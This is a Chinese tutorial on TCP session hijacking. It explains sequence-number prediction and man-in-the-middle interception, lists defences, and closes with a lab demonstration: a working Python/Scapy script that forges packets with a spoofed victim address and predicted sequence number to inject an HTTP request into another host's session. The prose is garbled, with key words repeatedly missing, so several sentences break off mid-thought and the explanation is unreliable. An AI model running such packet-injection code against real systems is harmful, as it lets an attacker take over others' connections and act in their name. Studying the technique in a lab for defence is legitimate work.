一、介绍
TCP(TCP Hijacking),也称为会话劫持,是一种方式,在合法用户与服务器之间的通信过程中插入或数据包,从而控制通信会话。通过TCP可以获取敏感信息、执行未授权的操作或中断正常通信。
1.1 TCP的原理
TCP主要利用了TCP协议的以下特性:
序列号预测:TCP连接中的数据包是按序列号顺序传输的,可以通过监听网络流量预测下一个有效的序列号。
中间人(MITM):可以通过中间人拦截和篡改通信数据包,从而控制通信会话。
1.2 TCP的类型
主动劫持:通过发送伪造的数据包中断或接管现有的TCP连接。
被动劫持:通过监听网络流量,获取会话中的敏感信息。
1.3 防御措施
加密通信:使用TLS/SSL等加密协议保护通信数据,防止监听和篡改数据包。
使用安全的序列号生成算法:在TCP连接建立时使用强序列号生成算法,增加序列号的不可预测性。
入侵检测系统(IDS):部署IDS实时监控网络流量,检测并阻止异常的TCP数据包。
网络隔离和分段:通过网络隔离和分段,限制获取敏感的网络流量。
双因素认证:在关键业务场景中使用双因素认证,增强通信的安全性。
通过这些防御措施,可以有效减缓或防止TCP,确保网络通信的安全性和稳定性。
二、实验环境
用户 Kali 在与服务器通信:192.168.134.147
服务器:192.168.134.148
三、实操演示
先获取到序列号及目标端口
以下是一个使用Python和Scapy库实现TCP劫持攻击的示例代码:
from scapy.all import * from scapy.layers.inet import TCP def tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data): # 构造IP和TCP头部 ip = IP(src=victim_ip, dst=server_ip) tcp = TCP(sport=victim_port, dport=server_port, seq=seq, ack=ack, flags="PA") # PA表示带有数据的包 payload = data # 发送伪造数据包 send(ip / tcp / payload, verbose=1) print( f"Sent TCP hijack packet from {victim_ip}:{victim_port} to {server_ip}:{server_port} with seq={seq} and ack={ack}") if __name__ == "__main__": victim_ip = "192.168.134.147" # 受害者客户端的IP地址 victim_port = 49658 # 受害者客户端的端口 server_ip = "192.168.134.148" # 服务器的IP地址 server_port = 8080 # 服务器的端口 seq = 182 # 预测的序列号 ack = 426 # 确认号 data = "GET / HTTP/1.1\r\nHost: www.hubstc.com.cn\r\n\r\n" # 伪造的数据 tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data)